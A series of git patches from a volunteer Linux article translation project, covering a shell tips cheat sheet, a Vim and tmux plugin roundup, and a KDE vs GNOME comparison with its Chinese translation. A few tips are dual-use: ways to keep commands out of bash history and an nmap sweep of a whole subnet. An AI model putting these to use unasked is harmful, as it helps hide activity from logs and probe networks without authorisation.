+Substring for first 5 characters: + + ${variable:0:5} + +SSH debug mode: + + ssh -vvv user@ip_address + +SSH with pem key: + + ssh user@ip_address -i key.pem + +Get complete directory listing to local directory with wget: + + wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs + +Create multiple directories: + + mkdir -p /home/user/{test,test1,test2} + +List processes tree with child processes: + + ps axwef + +Create war file: + + jar -cvf name.war file + +Test disk write speed: + + dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img + +Test disk read speed: + + hdparm -Tt /dev/sda + +Get md5 hash from text: + + echo -n "text" | md5sum + +Check xml syntax: + + xmllint --noout file.xml + +Extract tar.gz in new directory: + + tar zxvf package.tar.gz -C new_dir + +Get HTTP headers with curl: + + curl -I http://www.example.com + +Modify timestamp of some file or directory (YYMMDDhhmm): + + touch -t 0712250000 file + +Download from ftp using wget: + + wget -m ftp://username:password@hostname + +Generate random password (16 char long in this case): + + LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo; + +Quickly create a backup of a file: + + cp some_file_name{,.bkp} + +Access Windows share: + + smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir + +Run command from history (here at line 100): + + !100 + +Unzip to directory: + + unzip package_name.zip -d dir_name + +Multiline text (CTRL + d to exit): + + cat > test.txt + +Create empty file or empty existing one: + + > test.txt + +Update date from Ubuntu NTP server: + + ntpdate ntp.ubuntu.com + +netstat show all tcp4 listening ports: + + netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*' + +Convert image from qcow2 to raw: + + qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \ + precise-server-cloudimg-amd64-disk1.raw + +Run command repeatedly, displaying it's output (default every two seconds): + + watch ps -ef + +List all users: + + getent passwd + +Mount root in read/write mode: + + mount -o remount,rw / + +Mount a directory (for cases when symlinking will not work): + + mount --bind /source /destination + +Send dynamic update to DNS server: + + nsupdate < 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail + +Show free RAM in MB: + + free -m | grep cache | awk '/[0-9]/{ print $4" MB" }' + +Open Vim and jump to end of file: + + vim + some_file_name + +Git clone specific branch (master): + + git clone git@github.com:name/app.git -b master + +Git switch to another branch (develop): + + git checkout develop + +Git delete branch (myfeature): + + git branch -d myfeature + +Git delete remote branch: + + git push origin :branchName + +Git push new branch to remote: + + git push -u origin mynewfeature + +Print out the last cat command from history: + + !cat:p + +Run your last cat command from history: + + !cat + +Find all empty subdirectories in /home/user: + + find /home/user -maxdepth 1 -type d -empty + +Get all from line 50 to 60 in test.txt: + + < test.txt sed -n '50,60p' + +Run last command (if it was: mkdir /root/test, below will run: sudo mkdir /root/test): + + sudo !! + +Create temporary RAM filesystem - ramdisk (first create /tmpram directory): + + mount -t tmpfs tmpfs /tmpram -o size=512m + +Grep whole words: + + grep -w "name" test.txt + +Append text to a file that requires raised privileges: + + echo "some text" | sudo tee -a /path/file + +List all supported kill signals: + + kill -l + +Generate random password (16 characters long in this case): + + openssl rand -base64 16 + +Do not log last session in bash history: + + kill -9 $$ + +Scan network to find open port: + + nmap -p 8081 172.20.0.0/16 + +Set git email: + + git config --global user.email "me@example.com" + +To sync with master if you have unpublished commits: + + git pull --rebase origin master + +Move all files with "txt" in name to /home/user: + + find -iname "*txt*" -exec mv -v {} /home/user \; + +Put the file lines side by side: + + paste test.txt test1.txt + +Progress bar in shell: + + pv data.log + +Send the data to server with netcat: + + echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000 + +Convert tabs to spaces: + + expand test.txt > test1.txt + +Skip bash history: + + < >cmd + +Go to the previous working directory: + + cd - + +Split large tar.gz archive (100MB each) and put it back: + + split –b 100m /path/to/large/archive /path/to/output/files + cat files* > archive + +Get HTTP status code with curl: + + curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null + +When Ctrl + c not works: + + Ctrl + \ + +Get file owner: + + stat -c %U file.txt + +List block devices: + + lsblk -f + +Find files with trailing spaces: + + find . -type f -exec egrep -l " +$" "{}" \; + +Find files with tabs indentation: + + find . -type f -exec egrep -l $'\t' "{}" \; + +Print horizontal line with "=": + + printf '%100s\n' | tr ' ' = + +**UPDATE: November 25, 2013** + +-------------------------------------------------------------------------------- + +via: http://www.techbar.me/linux-shell-tips/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From b912fc25c1091f3bae76467927aae7ea965fc212 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Fri, 6 Dec 2013 11:01:03 +0800 Subject: [PATCH 144/148] =?UTF-8?q?20131206-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Vim is your new IDE.md | 60 ++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 sources/Vim is your new IDE.md diff --git a/sources/Vim is your new IDE.md b/sources/Vim is your new IDE.md new file mode 100644 index 0000000000..de29b5c0f0 --- /dev/null +++ b/sources/Vim is your new IDE.md @@ -0,0 +1,60 @@ +Vim is your new IDE +================================================================================ +**Kill all the GUIs. Mouse is your enemy. Keyboard is your only friend.** + +What happens when you combine Vim with the terminal multiplexer Tmux? You have the perfect coding environment. Here are some recommendations I've collected in the past years. Now I can happily fire up my working environment running Vim, some local servers and tests, in no time. + +### Programming Tmux ### + +- [Tmux Crash Course][1] is nice introduction on how to start using Tmux. +- [My tmux.conf dotfile][2] has a customized statusbar and an improved color scheme to optimize readability. And a must have: **remap the prefix** from `Ctrl+b` to `Ctrl+a`. +- [Bootstrap your IDE][3] is as easy as writing a simple bash script. This is an example on how you can write a `.sh` file to run own environment programmatically. + +### Vim Plugins ### + +- [Vundle][4], the plugin manager for Vim, allows you to keep track of all your plugins in your `.vimrc`. Install, update and delete all your script with a single keystroke. Uh, did I tell you that you can also **search** for plugins directly from VIM? This extension is a must have. +- [Syntastic][5] checks that your syntax is correct. It's an indispensable tool to avoid stupid errors while writing code. It really **speeds up** your coding. +- [Supertab][6] Supertab is a vim plugin which allows you to use `` for all your insert completion needs. It searches for all the strings in the current context, and suggests to the user all the matching ones. Speed is not the only benefit from the plugin, it helps avoiding a lot of misspelled names when writing code. Check out the section **User contribution** in this list for an alternative to `Supertab`. +- [Ack][7] is a replacement for 99% of the uses of grep. It's nicely integrated with Vim so the user can search through his/her project files, and the results are shown in a split window. Check out the section **User contribution** in this list for an alternative to `Ack`. +- [CtrlP][8] is an extremely fast full path fuzzy file, buffer, mru, tag... finder for Vim. Written in `VimL`. +- [NERDTree][9] allows you to explore your filesystem and to open files and directories. It presents the filesystem to you in the form of a tree which you manipulate with the keyboard. It also allows you to perform simple filesystem operations. +- [Sparkup][10] lets you write HTML code faster. Write HTML in a **CSS-like syntax**, and let Sparkup handle the **expansion to full HTML** code. Check out the section **User contribution** in this list for an alternative to `Sparkup`. + +### Extra tips ### + +- [Vimux][11] allows you to interact with Tmux from Vim. Run tests, build scripts and tasks without leaving Vim. +- [Auto installing Vundle][12] adding some lines of `VimL` to `.vimrc` config file. Every time you run Vim from a new environment, it will install Vundle and all the related Bundles. This is extremely useful when you are copying your Vim config file to a fresh installation, or to a new server. +- [A success story][13] of a developer who said goodbye to his trusty **MacBook Pro** and started coding on an iPad + Linode, in da cloud. + +### Users contribution ### + +- [YouCompleteMe][14], suggested by the nice redditor hnasarat. It take some extra effort to install, but provides an incredibly powerful semantic completions for many language (C, Ruby, Python, PHP and more). +- [Ag][15], suggested by *gckjk* (Reddit knows it better!). It's `ack` on steroids. 3 to 5 times faster, it ignores file patterns from your `.gitignore` and `.hgignore` (even `.agignore` if you have special needs). +- [Emmet][16], suggested by *damnated*, another nice redditor. An alternative to `Sparkup`, but with a nice plus, it's super easy and fast to wrap strings with tags. Check out the video for an example. +- [Unite][17], suggested by basetta, is an alternative to some of the plugins I listed. You can do file searching (like `CtrlP`), content searching (using `ack` or `ag`), move around the yank history and switch between buffers. All integrated in a single plugin. + +-------------------------------------------------------------------------------- + +via: http://devcharm.com/pages/18-vim-is-your-new-ide + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://robots.thoughtbot.com/a-tmux-crash-course +[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf +[3]:https://gist.github.com/vrde/7398199 +[4]:https://github.com/gmarik/vundle +[5]:https://github.com/scrooloose/syntastic +[6]:https://github.com/ervandew/supertab +[7]:https://github.com/mileszs/ack.vim +[8]:http://kien.github.io/ctrlp.vim/ +[9]:https://github.com/scrooloose/nerdtree +[10]:https://github.com/rstacruz/sparkup +[11]:https://github.com/benmills/vimux +[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ +[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode +[14]:https://github.com/Valloric/YouCompleteMe +[15]:https://github.com/ggreer/the_silver_searcher +[16]:http://mattn.github.io/emmet-vim/ +[17]:https://github.com/Shougo/unite.vim \ No newline at end of file From 9abc03d6c8c0e18745d486a49edbf0290aaf107e Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Fri, 6 Dec 2013 12:49:30 +0800 Subject: [PATCH 145/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Vim is your new IDE.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/Vim is your new IDE.md b/sources/Vim is your new IDE.md index de29b5c0f0..fc316ff6cc 100644 --- a/sources/Vim is your new IDE.md +++ b/sources/Vim is your new IDE.md @@ -1,3 +1,5 @@ +翻译中 by小眼儿 + Vim is your new IDE ================================================================================ **Kill all the GUIs. Mouse is your enemy. Keyboard is your only friend.** @@ -57,4 +59,4 @@ via: http://devcharm.com/pages/18-vim-is-your-new-ide [14]:https://github.com/Valloric/YouCompleteMe [15]:https://github.com/ggreer/the_silver_searcher [16]:http://mattn.github.io/emmet-vim/ -[17]:https://github.com/Shougo/unite.vim \ No newline at end of file +[17]:https://github.com/Shougo/unite.vim From 473aa68b60c0a5cfbc0a77188651cbea8fb9daaa Mon Sep 17 00:00:00 2001 From: KayGuoWhu Date: Fri, 6 Dec 2013 15:45:36 +0800 Subject: [PATCH 146/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=AE=8C=E6=88=90=20?= =?UTF-8?q?by=20KayGuoWhu=20=E5=A4=87=E6=B3=A8=EF=BC=9Asources=E7=9B=AE?= =?UTF-8?q?=E5=BD=95=E4=B8=8B=E7=9A=84=E5=8E=9F=E6=96=87=E5=9C=A8=E5=86=85?= =?UTF-8?q?=E5=AE=B9=E4=B8=8A=E6=9C=89=E9=87=8D=E5=A4=8D=EF=BC=8C=E5=B7=B2?= =?UTF-8?q?=E5=81=9A=E5=88=A0=E9=99=A4=E5=A4=84=E7=90=86=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../KDE vs GNOME- Settings, Apps, Widgets.md | 114 ------------------ .../KDE vs GNOME- Settings, Apps, Widgets.md | 84 +++++++++++++ 2 files changed, 84 insertions(+), 114 deletions(-) delete mode 100644 sources/KDE vs GNOME- Settings, Apps, Widgets.md create mode 100644 translated/KDE vs GNOME- Settings, Apps, Widgets.md diff --git a/sources/KDE vs GNOME- Settings, Apps, Widgets.md b/sources/KDE vs GNOME- Settings, Apps, Widgets.md deleted file mode 100644 index 59e7026d05..0000000000 --- a/sources/KDE vs GNOME- Settings, Apps, Widgets.md +++ /dev/null @@ -1,114 +0,0 @@ -[translating] BY KayGuoWhu -KDE vs GNOME: Settings, Apps, Widgets -===================================== - -When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses. - -###Initial impressions - -Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse. - -Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here. - -Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -###Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -###Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as [OpenSUSE][1], go ever further by tightly integrating their own tools ([YaST][2]) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is [Kontact][3] vs [Evolution][4]. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of [AmaroK][5] vs [Rhythmbox][6], among other desktop-specific titles. - -###File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. [Nautilus][7] is the default file manager for Gnome where KDE, offers up [Dolphin][8] as its main offering. - -When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses. - -###Initial impressions - -Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse. - -Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here. - -Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as OpenSUSE, go ever further by tightly integrating their own tools (YaST) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is Kontact vs Evolution. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of AmaroK vs Rhythmbox, among other desktop-specific titles. - -File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. Nautilus is the default file manager for Gnome where KDE, offers up Dolphin as its main offering. - -Out of the box, I've found Nautilus offers Gnome users a polished, easy to use file management tool that won't overwhelm new Linux users. Flashing over to KDE, however, Dolphin is a highly configurable and not newbie friendly file management solution for those who want tons of control. - -Simply looking at the sidebar for each file manager, you'll notice that Nautilus offers up the most straight forward approach to navigation. KDE's Dolphin, however, goes further with features like dates for files last used, and other related options. - -If you're an advanced Linux user, you'll likely find yourself gravitating to Dolphin as it offers the most options and control. For those of us who simply want to navigate files without tons of "stuff", Nautilus wins in terms of simplicity. - -###Desktop applications - -One area that causes some disagreement among Linux enthusiasts is the claim that one desktop offers better default applications than the other. That said, this is certainly the case with Gnome vs KDE. - -My findings in this area are that in many areas, Gnome wins without even trying that hard. For example: GIMP, Evince, and Pidgin are all applications that are simply less of a headache to rely on than their KDE counterparts. Kmail is another app that, in my opinion, gives new KDE users a bad taste in their mouths. Apps like this are overly complex and in general, abysmal to use. - -On the flip side, there are some worthwhile exceptions in favor of KDE. [Calligra][9] vs [AbiWord][10] is an easy win for KDE, since [LibreOffice][11] isn't "truly" a Gnome specific option. Just because it's often the default suite for many Linux distributions doesn't make it the desktop environment default. - -In the end, one of the wonders of Linux is that you can install GTK or Qt libraries and enjoy the benefits of the apps that best meet with your needs. For myself, I've found the Gnome application defaults to be the clear winner in most instances. - -Final thoughts - -If I ever found myself trapped on an island with only one desktop environment made available to me, it'd have to be Gnome. Even though I enjoy some aspects of KDE more than Gnome, overall I find Gnome is less work to keep up. Too often I’ve found KDE experiencing a messed up configuration or, worse: weird alerts claiming my sound card has disappeared. Under Gnome, I experience none of these problems. - -Because I value my time and my sanity, I'll continue to recommend Gnome over KDE; while suggesting some KDE apps when appropriate. To anyone who claims that KDE is easier to use – I'd like to point out that for me, simply learning Gnome's approach to doing things has offered me greater stability in the long run. - -Photo courtesy of [Shutterstock][12]. - ---- - -via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - - -[1]:http://www.opensuse.org/en/ -[2]:http://en.opensuse.org/YaST_Software_Management -[3]:http://userbase.kde.org/Kontact -[4]:https://projects.gnome.org/evolution/ -[5]:http://amarok.kde.org/ -[6]:https://projects.gnome.org/rhythmbox/ -[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29 -[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29 -[9]:http://www.calligra-suite.org/ -[10]:http://www.abisource.com/ -[11]:http://www.libreoffice.org/ -[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html - diff --git a/translated/KDE vs GNOME- Settings, Apps, Widgets.md b/translated/KDE vs GNOME- Settings, Apps, Widgets.md new file mode 100644 index 0000000000..8350ca4aac --- /dev/null +++ b/translated/KDE vs GNOME- Settings, Apps, Widgets.md @@ -0,0 +1,84 @@ +KDE vs GNOME: 设置，应用和小工具 +===================================== + +当提到桌面环境时，对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中，我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处，也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。 + +###第一印象 + +第一眼看到桌面，你可能会觉得KDE看起来比Gnome更光亮，并提供一个更友好的科技外观。此外，如果你习惯于Windows环境，屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu，启动程序以及仅仅点击几下鼠标就能找到文档。 + +KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说，这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说，这里是值得给予KDE支持的。 + +第一次加载进入Gnome 3，如果你来自另一个平台，它的桌面可能被认为是很奇怪的。像经典的Gnome一样，你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是，关闭正打开的窗口的方法是如此的“与众不同”。然而，站在支持Gnome3的角度上，我发现只要你习惯了这种新的做事方式，会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。 + +###小工具和扩展 + +随着我们深入了解Gnome和KDE提供的扩展和小工具，这两种桌面环境之间的差别会越来越大。尽管它们都能提供可运行的附件以增强你的桌面体验，但是它们在如何处理扩展功能上的分界并不相同。 + +KDE采用一种有趣的方式，即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区，以处理特定的工作流。 + +相反地，Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用，而不是以小部件为中心。例如，如果我正在使用多个应用程序，切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。 + +###设置你的桌面 + +虽然在通过GUI提供充足的设置方面Gnome做得越来越好，但KDE依然是这个领域的王者。 + +使用KDE，你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版，通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中，在这方面做得更好。 + +自从Gnome3之后，随着Gnome桌面的更新，我发现的最显著的地方是KDE正在以轻松的设置访问提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。 + + +但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是，Kontact是一套附带为每个应用程序绑定一套控制的应用程序，而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的主题中，[AmaroK][5] vs [Rhythmbox][6] 也是如此。 + +###文件管理 + +当涉及到为你的桌面寻找合适的文件管理器时，Gnome和KDE都能通过提供默认选择为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器，而KDE提供[Dolphin][8] 作为它的默认文件管理器。 + +除此之外，我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具，不会使Linux的新用户们不知所措。然而，回归到KDE上，对于那些想要复杂控制的人，Dolphin是一个高度可配置的，而不是适合新手的文件管理方案。 + +如果简单地观察每个文件管理器的侧边栏，你会注意到Nautilus提供最直接的导航方式。但是，KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。 + +如果你是高级的Linux用户，你很可能发现自己被Dolphin吸引，因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人，Nautilus在简单性上更胜一筹。 + +###桌面应用 + +在Linux爱好者中引发分歧的一个地方是声明某个桌面可以提供更好的默认应用。也就是说，这当然是Gnome和KDE所处的情况。 + +我在这个方面的发现是：在一些方面，Gnome不费吹灰之力就能胜出。例如，GIMP、Evince和Pidegin相对它们在KDE上的同类是更少依赖的应用。以我之见，Kmail是另一种应用程序，它带给KDE的新用户们一个坏印象。像这类的应用是过于复杂，并且在一般情况下，使用起来难以捉摸。 + +在另一方面，也有一些有价值的地方来支持KDE。[Calligra][9] vs [AbiWord][10] 对于KDE来说是轻松取胜的，因为[LibreOffice][11] 并不是一个“真正的”Gnome特定选项。仅仅凭它 +是很多Linux发行版的默认套件并不能使它成为桌面环境的默认选择。 + +最后，Linux最神奇的地方之一是你可以安装GTK或者Qt库，享受最符合你需求的应用程序带来的好处。对我自己，我发现在大部分情况下，Gnome的默认应用程序是明显的赢家。 + +###结语 + +如果我发现自己被困在一座岛上，只有一种可用的桌面环境，那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome，但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸一堆配置，甚至更糟糕，譬如奇怪的警告声称我的声卡找不到。在Gnome环境下，我从没有遇到这些问题。 + +因为我珍惜我的时间和理智，所以我会持续推荐使用Gnome而不是KDE；同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人-我觉得指的是我，从长远来看，简单地学习Gnome的做事方法给我带来了更大的稳定性。 + + +照片由[Shutterstock][12]提供。 + +--- + +via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +译者：[KayGuoWhu](https://github.com/KayGuoWhu) 校对：[校对者ID](https://github.com/校对者ID) + + +[1]:http://www.opensuse.org/en/ +[2]:http://en.opensuse.org/YaST_Software_Management +[3]:http://userbase.kde.org/Kontact +[4]:https://projects.gnome.org/evolution/ +[5]:http://amarok.kde.org/ +[6]:https://projects.gnome.org/rhythmbox/ +[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29 +[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29 +[9]:http://www.calligra-suite.org/ +[10]:http://www.abisource.com/ +[11]:http://www.libreoffice.org/ +[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html + From 86f4d39cd5b0d8c6a3e99f11e9a81f45bc869b37 Mon Sep 17 00:00:00 2001 From: KayGuoWhu Date: Fri, 6 Dec 2013 15:58:32 +0800 Subject: [PATCH 147/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by=20KayG?= =?UTF-8?q?uoWhu?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...d Will Probably Be the Best Free Multiplayer Game on Linux.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md index 29d363cc43..91fcb2ea08 100644 --- a/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md +++ b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md @@ -1,3 +1,4 @@ +[翻译中] by KayGuoWhu Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux ================================================================================ **Unvanquished, a free, open-source first-person shooter combining real-time strategy elements with a futuristic and sci-fi setting, has just received its 22nd update. Actually it's 22.1, but who's counting?** From 10f19888d4b92f6ae124bb61533b57c8107a3fcf Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Fri, 6 Dec 2013 17:45:20 +0800 Subject: [PATCH 148/148] =?UTF-8?q?=E5=B7=B2=E7=BF=BB=E8=AF=91=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: tinyeyeser --- sources/Vim is your new IDE.md | 62 ------------------------------- translated/Vim is your new IDE.md | 60 ++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+), 62 deletions(-) delete mode 100644 sources/Vim is your new IDE.md create mode 100644 translated/Vim is your new IDE.md diff --git a/sources/Vim is your new IDE.md b/sources/Vim is your new IDE.md deleted file mode 100644 index fc316ff6cc..0000000000 --- a/sources/Vim is your new IDE.md +++ /dev/null @@ -1,62 +0,0 @@ -翻译中 by小眼儿 - -Vim is your new IDE -================================================================================ -**Kill all the GUIs. Mouse is your enemy. Keyboard is your only friend.** - -What happens when you combine Vim with the terminal multiplexer Tmux? You have the perfect coding environment. Here are some recommendations I've collected in the past years. Now I can happily fire up my working environment running Vim, some local servers and tests, in no time. - -### Programming Tmux ### - -- [Tmux Crash Course][1] is nice introduction on how to start using Tmux. -- [My tmux.conf dotfile][2] has a customized statusbar and an improved color scheme to optimize readability. And a must have: **remap the prefix** from `Ctrl+b` to `Ctrl+a`. -- [Bootstrap your IDE][3] is as easy as writing a simple bash script. This is an example on how you can write a `.sh` file to run own environment programmatically. - -### Vim Plugins ### - -- [Vundle][4], the plugin manager for Vim, allows you to keep track of all your plugins in your `.vimrc`. Install, update and delete all your script with a single keystroke. Uh, did I tell you that you can also **search** for plugins directly from VIM? This extension is a must have. -- [Syntastic][5] checks that your syntax is correct. It's an indispensable tool to avoid stupid errors while writing code. It really **speeds up** your coding. -- [Supertab][6] Supertab is a vim plugin which allows you to use `` for all your insert completion needs. It searches for all the strings in the current context, and suggests to the user all the matching ones. Speed is not the only benefit from the plugin, it helps avoiding a lot of misspelled names when writing code. Check out the section **User contribution** in this list for an alternative to `Supertab`. -- [Ack][7] is a replacement for 99% of the uses of grep. It's nicely integrated with Vim so the user can search through his/her project files, and the results are shown in a split window. Check out the section **User contribution** in this list for an alternative to `Ack`. -- [CtrlP][8] is an extremely fast full path fuzzy file, buffer, mru, tag... finder for Vim. Written in `VimL`. -- [NERDTree][9] allows you to explore your filesystem and to open files and directories. It presents the filesystem to you in the form of a tree which you manipulate with the keyboard. It also allows you to perform simple filesystem operations. -- [Sparkup][10] lets you write HTML code faster. Write HTML in a **CSS-like syntax**, and let Sparkup handle the **expansion to full HTML** code. Check out 